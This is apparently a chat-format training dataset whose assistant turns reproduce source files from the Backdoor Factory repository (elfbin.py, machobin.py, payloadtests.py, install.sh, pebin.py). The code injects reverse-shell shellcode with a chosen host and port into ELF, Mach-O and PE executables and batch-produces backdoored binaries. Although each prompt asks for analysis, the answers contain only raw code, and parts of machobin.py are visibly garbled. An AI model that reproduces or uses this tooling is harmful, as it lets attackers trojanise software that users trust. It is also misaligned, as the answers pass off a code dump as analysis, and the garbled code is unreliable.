self.bin_file.seek(24, 1)\n else:\n self.bin_file.seek(32, 1)\n\n self.bin_file.seek(self.e_entryLocOnDisk, 0)\n if self.shellcode_vaddr >= 4294967295:\n print \"[!] Oh hai Fuzzer!\"\n return False\n self.bin_file.write(struct.pack(self.endian + \"I\", self.shellcode_vaddr))\n\n self.JMPtoCodeAddress = self.shellcode_vaddr - self.e_entry - 5\n\n else:\n #64 bit FILE\n print \"[*] Patching x64 Binary\"\n self.bin_file.seek(24, 0)\n self.bin_file.seek(16, 1)\n if self.e_shoff + PAGE_SIZE > 0x7fffffffffffffff:\n print \"[!] Such fuzz...\"\n return False\n self.bin_file.write(struct.pack(self.endian + \"I\", self.e_shoff + PAGE_SIZE))\n self.bin_file.seek(self.e_shoff + PAGE_SIZE, 0)\n for i in range(self.e_shnum):\n #print \"i\", i, self.sec_hdr[i]['sh_offset'], newOffset\n if self.sec_hdr[i]['sh_offset'] >= newOffset:\n #print \"Adding page size\"\n self.bin_file.seek(24, 1)\n if self.sec_hdr[i]['sh_offset'] + PAGE_SIZE > 0x7fffffffffffffff:\n print \"[!] Fuzzing...\"\n return False\n self.bin_file.write(struct.pack(self.endian + \"Q\", self.sec_hdr[i]['sh_offset'] + PAGE_SIZE))\n self.bin_file.seek(32, 1)\n elif self.sec_hdr[i]['sh_size'] + self.sec_hdr[i]['sh_addr'] == self.shellcode_vaddr:\n #print \"adding newBuffer size\"\n self.bin_file.seek(32, 1)\n if self.sec_hdr[i]['sh_offset'] + newBuffer > 0x7fffffffffffffff:\n print \"[!] Melkor is cool right?\"\n return False\n self.bin_file.write(struct.pack(self.endian + \"Q\", self.sec_hdr[i]['sh_size'] + newBuffer))\n self.bin_file.seek(24, 1)\n else:\n self.bin_file.seek(64, 1)\n #update the pointer to the section header table\n after_textSegment = False\n self.bin_file.seek(self.e_phoff, 0)\n for i in range(self.e_phnum):\n #print \"header range i\", i\n #print \"self.shellcode_vaddr\", hex(self.prog_hdr[i]['p_vaddr']), hex(self.shellcode_vaddr)\n if i == headerTracker:\n #print \"Found Text Segment again\"\n after_textSegment = True\n self.bin_file.seek(32, 1)\n if self.prog_hdr[i]['p_filesz'] + newBuffer > 0x7fffffffffffffff:\n print \"[!] Fuzz fuzz fuzz... \"\n return False\n if self.prog_hdr[i]['p_memsz'] + newBuffer > 0x7fffffffffffffff:\n print \"[!] Someone is fuzzing...\"\n return False\n self.bin_file.write(struct.pack(self.endian + \"Q\", self.prog_hdr[i]['p_filesz'] + newBuffer))\n self.bin_file.write(struct.pack(self.endian + \"Q\", self.prog_hdr[i]['p_memsz'] + newBuffer))\n self.bin_file.seek(8, 1)\n elif after_textSegment is True:\n #print \"Increasing headers after the addition\"\n self.bin_file.seek(8, 1)\n if self.prog_hdr[i]['p_offset'] + PAGE_SIZE > 0x7fffffffffffffff:\n print \"[!] Nice fuzzer!\"\n return False\n self.bin_file.write(struct.pack(self.endian + \"Q\", self.prog_hdr[i]['p_offset'] + PAGE_SIZE))\n self.bin_file.seek(40, 1)\n else:\n self.bin_file.seek(56, 1)\n\n self.bin_file.seek(self.e_entryLocOnDisk, 0)\n if self.shellcode_vaddr > 0x7fffffffffffffff:\n print \"[!] Fuzzing...\"\n return False\n self.bin_file.write(struct.pack(self.endian + \"Q\", self.shellcode_vaddr))\n\n self.JMPtoCodeAddress = self.shellcode_vaddr - self.e_entry - 5\n\n self.bin_file.close()\n\n print \"[!] Patching Complete\"\n\n if self.tmp_file != None:\n \n if self.keep_temp is True:\n # tmpfilename_orginalname.exe\n print \"[*] Saving TempFile to:\", os.path.basename(self.FILE) + '_' + self.ORIGINAL_FILE \n shutil.copy2(self.FILE, os.path.basename(self.FILE) + '_' + self.ORIGINAL_FILE )\n try:\n shutil.rmtree(self.tmp_file.name)\n except: # OSError:\n pass\n #print \"[*] TempFile already removed.\"\n\n return True\n\n# END elfbin clas\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: install.sh\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/usr/bin/env bash\n\n#depends:\n# capstone (newest)\n# pefile\n# python-capstone\n# autoconf\n\n\nif [[ $EUID -ne 0 ]]; then\n echo \"You must be root\" 2>&1\n exit 1\nfi\n\n#check if kali\nuname -a | grep -i kali &> /dev/null \nif [ $? -eq 0 ]; then\n\tapt-get update\n\tapt-get install -y python-capstone autoconf libtool curl libcurl4-openssl-dev\n\n\techo '[*] Install osslsigncode'\n cd osslsigncode\n ./autogen.sh\n ./configure\n\tmake\n\tmake install\n cd ..\t\n\n\t#install appack\n\tuname -a | grep -i \"armv\" &> /dev/null\n\tif [ $? -ne 0 ]; then\n echo \"[*] installing appack for onionduke\"\n\t\tsudo apt-get install -y libc6-dev-i386\n\t\tcd ./aPLib/example/\n\t\tgcc -c -I../lib/elf -m32 -Wall -O2 -s -o appack.o appack.c -v \n\t\tgcc -m32 -Wall -O2 -s -o appack appack.o ../lib/elf/aplib.a -v \n\t\tsudo cp ./appack /usr/bin/appack\t\n\telse\n\t\techo \"Arm not supported for aPLib\"\n\tfi\nfi\n\n#other linux\nuname -a | grep -v \"kali\" | grep -i linux &> /dev/null \nif [ $? -eq 0 ]; then\n\n\tif hash pip 2>/dev/null; then\n\t\tsudo apt-get install -y python-pip autoconf libtool curl libcurl4-openssl-dev\n\t pip install pefile\n\t #install capstone\n\t\tpip install capstone\n\telse\n\t echo '[!!!!] Install pefile and capstone manually, pip is not installed'\n\t echo '[!!!!] or install pip and retry'\n\t echo \"\"\n\tfi\n\t\n\techo '[*] Install osslsigncode'\n cd osslsigncode\n ./autogen.sh\n ./configure\n\tmake\n\tmake install\n cd ..\t\n\n\tuname -a | grep -i \"armv\" &> /dev/null\n if [ $? -ne 0 ]; then\n echo \"[*] installing appack for onionduke\"\n\t\techo \"[*] installing dependences\"\n\t\tsudo apt-get install libc6-dev-i386\n cd ./aPLib/example/\n gcc -c -I../lib/elf -m32 -Wall -O2 -s -o appack.o appack.c -v \n gcc -m32 -Wall -O2 -s -o appack appack.o ../lib/elf/aplib.a -v \n sudo cp ./appack /usr/bin/appack \n else\n echo \"[!!!!] Arm not supported for aPLib\"\n\tfi\nfi\n\n#OS X appack install\nuname -a | grep -i Darwin &> /dev/null\nif [ $? -eq 0 ]; then\n\tbrew install autoconf\n\tbrew install automake\n\tbrew install libtool\n\t\n\tpip install pefile\n\tpip install capstone\n\t\n\techo '[*] Install osslsigncode'\n \tcd osslsigncode\n \t./autogen.sh\n \t./configure\n\tmake\n\tmake install\n cd ..\t\n\n\tcd ./aPLib/example/\n\tclang -c -I../lib/macho64 -Wall -O2 -o appack.o appack.c -v \n\tclang -Wall -O2 -o appack appack.o ../lib/macho64/aplib.a -v \n\tcp ./appack /usr/local/bin/appack\nfi\n\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: machobin.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/usr/bin/env python\n'''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\nimport os\nimport struct\nimport shutil\nimport tempfile\nimport sys\nfrom intel.MachoIntel64 import macho_intel64_shellcode\nfrom intel.MachoIntel32 import macho_intel32_shellcode\n\n\nclass machobin():\n\n def __init__(self, FILE, OUTPUT=None, SHELL=None, HOST=\"127.0.0.1\", PORT=8080,\n SUPPORT_CHECK=False, SUPPLIED_SHELLCODE=None, FAT_PRIORITY=\"x64\",\n BEACON=15, PREPROCESS=False\n ):\n self.FILE = FILE\n self.OUTPUT = OUTPUT\n self.fat_hdrs = {}\n self.mach_hdrs = {}\n self.load_cmds = {}\n self.ImpValues = {}\n self.jumpLocation = 0x0\n self.PORT = PORT\n self.HOST = HOST\n self.SHELL = SHELL\n self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE\n self.SUPPORT_CHECK = SUPPORT_CHECK\n self.FAT_FILE = False\n self.FAT_PRIORITY = FAT_PRIORITY\n self.BEACON = BEACON\n self.PREPROCESS = PREPROCESS\n self.ORIGINAL_FILE = self.FILE\n self.tmp_file = None\n self.keep_temp = False\n self.supported_CPU_TYPES = [0x7, # i386\n 0x01000007 # x64\n ]\n\n def run_this(self):\n 'The Engine'\n self.bin = open(self.FILE, 'r+b')\n self.supported = ''\n if self.SUPPORT_CHECK is True:\n #Exit out either way\n if not self.FILE:\n print \"You must provide a file to see if it is supported (-f)\"\n return False\n try:\n self.support_check()\n except Exception, e:\n print 'Exception:', str(e), '%s' % self.FILE\n if self.supported is False:\n print \"%s is not supported.\" % self.FILE\n return False\n else:\n print \"%s is supported.\" % self.FILE\n return True\n\n self.support_check()\n result = self.patch_macho()\n return result\n\n def support_check(self):\n print \"[*] Checking file support\"\n with open(self.FILE, 'r+b') as self.bin:\n check = self.get_structure()\n if check is False:\n self.supported = False\n\n for key, value in self.load_cmds.iteritems():\n self.ImpValues[key] = self.find_Needed_Items(value)\n if self.ImpValues[key]['text_segment'] == {}:\n print '[!] Not a proper Mach-O file'\n self.supported = False\n\n \n def loadthis(self, amod):\n section = amod.split('.')\n mod = \".\".join(section[:-1])\n amod = __import__(mod)\n for item in section[1:]:\n amod = getattr(amod, item)\n return amod\n\n def preprocess(self):\n # files in directory\n ignore = ['__init__.py']\n abspath = os.path.abspath(__file__)\n dname = os.path.dirname(abspath)\n sys.path.append(dname)\n for afile in os.listdir(dname + \"/preprocessor\"):\n if afile in ignore:\n continue\n if \".pyc\" in afile:\n continue\n \n if len(afile.split(\".\")) > 2:\n print \"!\" * 50\n print \"\\t[!] Make sure there are no '.' in your preprocessor filename:\", afile\n print \"!\" * 50\n \n return False\n \n name = \"preprocessor.\" + afile.strip(\".py\")\n \n preprocessor_name = __import__( name, fromlist=[''])\n \n if preprocessor_name.enabled is True:\n print \"[*] Executing preprocessor:\", afile.strip(\".py\")\n else:\n continue\n\n if preprocessor_name.file_format.lower() in ['macho', 'all']: #'elf', 'macho', 'mach-o']:\n print '[*] Running preprocessor', afile.strip(\".py\"), \"against\", preprocessor_name.file_format, \"formats\"\n else:\n continue\n \n # Allow if any processors to keep it \n if self.keep_temp is False:\n self.keep_temp = preprocessor_name.keep_temp\n \n # create tempfile here always\n \n if self.tmp_file == None:\n self.tmp_file = tempfile.NamedTemporaryFile()\n self.tmp_file.write(open(self.FILE, 'rb').read())\n self.tmp_file.seek(0)\n print \"[*] Creating temp file:\", self.tmp_file.name\n else:\n print \"[*] Using existing tempfile from prior preprocessor\"\n \n load_name = name + \".preprocessor\"\n preproc = self.loadthis(load_name)\n \n m = preproc(self)\n \n print \"=\" * 50\n \n # execute preprocessor\n result = m.run()\n \n if result is False:\n print \"[!] Preprocessor Failure :(\"\n\n print \"=\" * 50\n \n # After running push it to BDF.\n \n self.FILE = self.tmp_file.name[:]\n \n # check for support after each modification\n if preprocessor_name.recheck_support is True:\n issupported = self.support_check()\n if issupported is False:\n print self.FILE, \"is not supported.\"\n return False \n\n def output_options(self):\n \"\"\"\n Output file check.\n \"\"\"\n if not self.OUTPUT:\n self.OUTPUT = os.path.basename(self.FILE)\n\n def set_shells(self, MagicNumber, ):\n \"This function sets the shellcode.\"\n\n print \"[*] Looking for and setting selected shellcode\"\n\n avail_shells = []\n\n self.bintype = False\n if MagicNumber == '0xfeedface':\n #x86\n self.bintype = macho_intel32_shellcode\n elif MagicNumber == '0xfeedfacf':\n #x64\n self.bintype = macho_intel64_shellcode\n\n if not self.SHELL:\n print \"You must choose a backdoor to add: \"\n for item in dir(self.bintype):\n if \"__\" in item:\n continue\n elif (\"returnshellcode\" == item\n or \"pack_ip_addresses\" == item\n or \"eat_code_caves\" == item\n or 'ones_compliment' == item\n or 'resume_execution' in item\n or 'returnshellcode' in item):\n continue\n else:\n print \" {0}\".format(item)\n return False\n if self.SHELL not in dir(self.bintype):\n print \"The following %ss are available:\" % str(self.bintype).split(\".\")[1]\n for item in dir(self.bintype):\n #print item\n if \"__\" in item:\n continue\n elif (\"returnshellcode\" == item\n or \"pack_ip_addresses\" == item\n or \"eat_code_caves\" == item\n or 'ones_compliment' == item\n or 'resume_execution' in item\n or 'returnshellcode' in item):\n continue\n else:\n print \" {0}\".format(item)\n avail_shells.append(item)\n self.avail_shells = avail_shells\n return False\n #else:\n # shell_cmd = self.SHELL + \"()\"\n self.shells = self.bintype(self.HOST, self.PORT, self.jumpLocation, self.SUPPLIED_SHELLCODE, self.BEACON)\n self.allshells = getattr(self.shells, self.SHELL)()\n self.shellcode = self.shells.returnshellcode()\n return self.shellcode\n\n def get_structure(self):\n '''This function grabs necessary data for the mach-o format'''\n self.binary_header = self.bin.read(4)\n if self.binary_header == \"\\xca\\xfe\\xba\\xbe\":\n print '[*] Fat File detected'\n self.FAT_FILE = True\n ArchNo = struct.unpack(\">I\", self.bin.read(4))[0]\n for arch in range(ArchNo):\n self.fat_hdrs[arch] = self.fat_header()\n for hdr, value in self.fat_hdrs.iteritems():\n if int(value['CPU Type'], 16) in self.supported_CPU_TYPES:\n self.bin.seek(int(value['Offset'], 16), 0)\n self.mach_hdrs[hdr] = self.mach_header()\n self.load_cmds[hdr] = self.parse_loadcommands(self.mach_hdrs[hdr])\n if self.mach_hdrs is False:\n return False\n else:\n #Not Fat Header\n self.bin.seek(0)\n self.mach_hdrs[0] = self.mach_header()\n self.load_cmds[0] = self.parse_loadcommands(self.mach_hdrs[0])\n\n def fat_header(self):\n header = {}\n header[\"CPU Type\"] = hex(struct.unpack(\">I\", self.bin.read(4))[0])\n header[\"CPU SubType\"] = hex(struct.unpack(\">I\", self.bin.read(4))[0])\n header[\"Offset\"] = hex(struct.unpack(\">I\", self.bin.read(4))[0])\n header[\"Size\"] = hex(struct.unpack(\">I\", self.bin.read(4))[0])\n header[\"Align\"] = hex(struct.unpack(\">I\", self.bin.read(4))[0])\n return header\n\n def mach_header(self):\n header = {}\n header['beginningOfHeader'] = self.bin.tell()\n try:\n header['MagicNumber'] = hex(struct.unpack(\" 0:\n if '__text' in item['DATA'][0x30 + i:0x40 + i]:\n text_section = {\n 'sectionName': item['DATA'][0x30 + i:0x40 + i],\n 'segmentName': item['DATA'][0x40 + i:0x50 + i],\n 'Address': item['DATA'][0x50 + i:0x54 + i],\n 'LOCAddress': locationInFIle + 0x50 + i,\n 'Size': item['DATA'][0x54 + i:0x58 + i],\n 'LOCTextSize': locationInFIle + 0x54 + i,\n 'Offset': item['DATA'][0x58 + i:0x5c + i],\n 'LocTextOffset': locationInFIle + 0x58 + i,\n 'Alignment': item['DATA'][0x5c + i:0x60 + i],\n 'Relocations': item['DATA'][0x60 + i:0x64 + i],\n 'NumberOfRelocs': item['DATA'][0x64 + i:0x68 + i],\n 'Flags': item['DATA'][0x68 + i:0x6c + i],\n 'Reserved1': item['DATA'][0x6c + i:0x70 + i],\n 'Reserved2': item['DATA'][0x70 + i:0x74 + i],\n }\n break\n else:\n count -= 1\n i += 0x40\n\n elif item['DATA'][0:6] == \"__TEXT\" and item['Command'] == 0x19:\n text_segment = {\n 'segname': item['DATA'][0:0x10],\n 'VMAddress': item['DATA'][0x10:0x18],\n 'VMSize': item['DATA'][0x18:0x20],\n 'File Offset': item['DATA'][0x20:0x28],\n 'File Size': item['DATA'][0x28:0x30],\n 'MaxVMProt': item['DATA'][0x30:0x34],\n 'InitalVMProt': item['DATA'][0x34:0x38],\n 'NumberOfSections': item['DATA'][0x38:0x3C],\n 'Flags': item['DATA'][0x3c:0x40]\n }\n count = struct.unpack(\" 0:\n\n if '__text' in item['DATA'][0x40 + i:0x50 + i]:\n text_section = {\n 'sectionName': item['DATA'][0x40 + i:0x50 + i],\n 'segmentName': item['DATA'][0x50 + i:0x60 + i],\n 'Address': item['DATA'][0x60 + i:0x68 + i],\n 'LOCAddress': locationInFIle + 0x60 + i,\n 'Size': item['DATA'][0x68 + i:0x70 + i],\n 'LOCTextSize': locationInFIle + 0x68 + i,\n 'Offset': item['DATA'][0x70 + i:0x74 + i],\n 'LocTextOffset': locationInFIle + 0x70 + i,\n 'Alignment': item['DATA'][0x74 + i:0x78 + i],\n 'Relocations': item['DATA'][0x78 + i:0x7c + i],\n 'NumberOfRelocs': item['DATA'][0x7c + i:0x80 + i],\n 'Flags': item['DATA'][0x80 + i:0x84 + i],\n 'Reserved1': item['DATA'][0x84 + i:0x88 + i],\n 'Reserved2': item['DATA'][0x88 + i:0x8c + i],\n 'Reserved3': item['DATA'][0x8c + i:0x90 + i],\n }\n\n break\n else:\n count -= 1\n i += 0x4c\n\n if item['Command'] == 0x80000028:\n LC_MAIN = {\n 'LOCEntryOffset': locationInFIle,\n 'EntryOffset': item['DATA'][0x0:0x8],\n 'StackSize': item['DATA'][0x8:0x16]\n }\n elif item['Command'] == 0x00000005 and struct.unpack(\" last_cmd:\n last_cmd = item['last_cmd']\n\n _tempDict = {'text_segment': text_segment, 'text_section': text_section,\n 'LC_MAIN': LC_MAIN, 'LC_UNIXTREAD': LC_UNIXTREAD,\n 'LC_CODE_SIGNATURE': LC_CODE_SIGNATURE,\n 'LC_DYLIB_CODE_SIGN_DRS': LC_DYLIB_CODE_SIGN_DRS,\n 'last_cmd': last_cmd\n }\n\n return _tempDict\n\n def patch_macho(self):\n\n if self.supported is False:\n print self.FILE, \"is not supported.\"\n return False\n\n self.output_options()\n\n if self.PREPROCESS is True:\n self.preprocess()\n\n if not os.path.exists(\"backdoored\"):\n os.makedirs(\"backdoored\")\n\n os_name = os.name\n\n if os_name == 'nt':\n self.backdoorfile = \"backdoored\\\\\" + self.OUTPUT\n else:\n self.backdoorfile = \"backdoored/\" + self.OUTPUT\n\n shutil.copy2(self.FILE, self.backdoorfile)\n\n for key, value in self.mach_hdrs.iteritems():\n MagicNumber = value['MagicNumber']\n text_section = self.ImpValues[key]['text_section']\n last_cmd = self.ImpValues[key]['last_cmd']\n LC_MAIN = self.ImpValues[key]['LC_MAIN']\n LC_UNIXTREAD = self.ImpValues[key]['LC_UNIXTREAD']\n\n if self.binary_header == \"\\xca\\xfe\\xba\\xbe\":\n offset = int(self.fat_hdrs[key]['Offset'], 16)\n else:\n offset = 0x0\n LC_CODE_SIGNATURE = self.ImpValues[key]['LC_CODE_SIGNATURE']\n LC_DYLIB_CODE_SIGN_DRS = self.ImpValues[key]['LC_DYLIB_CODE_SIGN_DRS']\n\n patchx64 = True\n patchx86 = True\n\n if self.FAT_FILE is True and self.FAT_PRIORITY != 'ALL':\n if self.FAT_PRIORITY.lower() == 'x64':\n patchx86 = False\n if self.FAT_PRIORITY.lower() == 'x86':\n patchx64 = False\n\n with open(self.backdoorfile, 'r+b') as bin:\n if MagicNumber == '0xfeedfacf' and patchx64 is True:\n print \"[*] Patching x86_64 Mach-O Binary\"\n cave_size = struct.unpack(\" cave_size:\n print \"[!] Shellcode is larger than available space\"\n return False\n\n startingLocation = struct.unpack(\" cave_size:\n print \"[!] Shellcode is larger than available space\"\n return False\n\n #FIND Current Location\n startingLocation = struct.unpack(\""} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: payloadtests.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/usr/bin/env python\n'''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\nimport pebin\nimport machobin\nimport elfbin\nimport sys\nimport os\n\n\ndef basicDiscovery(FILE):\n macho_supported = ['\\xcf\\xfa\\xed\\xfe', '\\xca\\xfe\\xba\\xbe',\n '\\xce\\xfa\\xed\\xfe',\n ]\n\n testBinary = open(FILE, 'rb')\n header = testBinary.read(4)\n testBinary.close()\n if 'MZ' in header:\n return 'PE'\n elif 'ELF' in header:\n return 'ELF'\n elif header in macho_supported:\n return \"MACHO\"\n else:\n 'Only support ELF, PE, and MACH-O file formats'\n return None\n\nif __name__ == \"__main__\":\n '''\n Will create patched binaries for each payload for the type of binary provided.\n Each payload has it's own port number.\n Usage: ./payloadtests.py file 127.0.0.1 8080\n '''\n if len(sys.argv) != 4:\n print \"Will create patched binaries for each stock shellcode/payload for the \"\n print \"type of binary provided. Each payload type has it's own port number.\"\n print \"Usage:\" + str(sys.argv[0]) + \" binary HOST PORT\"\n sys.exit()\n\n file = sys.argv[1]\n host = sys.argv[2]\n port = int(sys.argv[3])\n outputfiles = {}\n\n is_supported = basicDiscovery(file)\n\n if is_supported is \"PE\":\n patchtypes = ['APPEND', 'JUMP', 'SINGLE']\n supported_file = pebin.pebin(FILE=file, OUTPUT=None, SHELL='none')\n supported_file.run_this()\n #print supported_file.flItms['avail_shells']\n for aShell in supported_file.flItms['avail_shells']:\n for patchtype in patchtypes:\n if 'cave_miner' in aShell or 'user_supplied' in aShell:\n continue\n aName = aShell + \".\" + patchtype + \".\" + str(host) + \".\" + str(port) + \".\" + file\n print \"Creating File:\", aName\n if patchtype == 'APPEND':\n supported_file = pebin.pebin(FILE=file, OUTPUT=aName,\n SHELL=aShell, HOST=host,\n PORT=port, ADD_SECTION=True)\n\n elif patchtype == 'JUMP':\n supported_file = pebin.pebin(FILE=file, OUTPUT=aName,\n SHELL=aShell, HOST=host,\n PORT=port, CAVE_JUMPING=True)\n elif patchtype == 'SINGLE':\n supported_file = pebin.pebin(FILE=file, OUTPUT=aName,\n SHELL=aShell, HOST=host,\n PORT=port, CAVE_JUMPING=False)\n result = supported_file.run_this()\n outputfiles[aName] = result\n\n port += 1\n\n elif is_supported is \"ELF\":\n supported_file = elfbin.elfbin(FILE=file, OUTPUT=None, SHELL='none')\n supported_file.run_this()\n\n for aShell in supported_file.avail_shells:\n if 'cave_miner' in aShell or 'user_supplied' in aShell:\n continue\n aName = aShell + \".\" + str(host) + \".\" + str(port) + \".\" + file\n print \"Creating File:\", aName\n supported_file = elfbin.elfbin(FILE=file, OUTPUT=aName,\n SHELL=aShell, HOST=host,\n PORT=port)\n result = supported_file.run_this()\n outputfiles[aName] = result\n\n port += 1\n\n elif is_supported is \"MACHO\":\n supported_file = machobin.machobin(FILE=file, OUTPUT=None, SHELL='none')\n supported_file.run_this()\n\n for aShell in supported_file.avail_shells:\n if 'cave_miner' in aShell or 'user_supplied' in aShell:\n continue\n aName = aShell + \".\" + str(host) + \".\" + str(port) + \".\" + file\n print \"Creating File:\", aName\n supported_file = machobin.machobin(FILE=file, OUTPUT=aName,\n SHELL=aShell, HOST=host,\n PORT=port, FAT_PRIORITY='ALL')\n result = supported_file.run_this()\n outputfiles[aName] = result\n\n port += 1\n\n print \"Successful files are in backdoored:\"\n for afile, aresult in outputfiles.iteritems():\n if aresult is True:\n print afile, 'Success'\n else:\n print afile, 'Fail'\n os.remove('backdoored/' + afile)\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pebin.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n'''\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\nimport sys\nimport os\nimport struct\nimport shutil\nimport platform\nimport stat\nimport time\nimport subprocess\nimport pefile\nimport operator\nimport cStringIO\nimport random\nimport string\nimport re\nimport tempfile\nfrom random import choice\nfrom winapi import winapi\nfrom intel.intelCore import intelCore\nfrom intel.intelmodules import eat_code_caves\nfrom intel.WinIntelPE32 import winI32_shellcode\nfrom intel.WinIntelPE64 import winI64_shellcode\nfrom onionduke import onionduke\nfrom onionduke.onionduke import write_rsrc\nfrom onionduke.onionduke import xor_file\n\n\nMachineTypes = {'0x0': 'AnyMachineType',\n '0x1d3': 'Matsushita AM33',\n '0x8664': 'x64',\n '0x1c0': 'ARM LE',\n '0x1c4': 'ARMv7',\n '0xaa64': 'ARMv8 x64',\n '0xebc': 'EFIByteCode',\n '0x14c': 'Intel x86',\n '0x200': 'Intel Itanium',\n '0x9041': 'M32R',\n '0x266': 'MIPS16',\n '0x366': 'MIPS w/FPU',\n '0x466': 'MIPS16 w/FPU',\n '0x1f0': 'PowerPC LE',\n '0x1f1': 'PowerPC w/FP',\n '0x166': 'MIPS LE',\n '0x1a2': 'Hitachi SH3',\n '0x1a3': 'Hitachi SH3 DSP',\n '0x1a6': 'Hitachi SH4',\n '0x1a8': 'Hitachi SH5',\n '0x1c2': 'ARM or Thumb -interworking',\n '0x169': 'MIPS little-endian WCE v2'\n }\n\n#What is supported:\nsupported_types = ['Intel x86', 'x64']\n\n\nclass pebin():\n \"\"\"\n This is the pe binary class. PE files get fed in, stuff is checked, and patching happens.\n \"\"\"\n def __init__(self, FILE, OUTPUT, SHELL, NSECTION='sdata', DISK_OFFSET=0, ADD_SECTION=False,\n CAVE_JUMPING=False, PORT=8888, HOST=\"127.0.0.1\", SUPPLIED_SHELLCODE=None,\n INJECTOR=False, CHANGE_ACCESS=True, 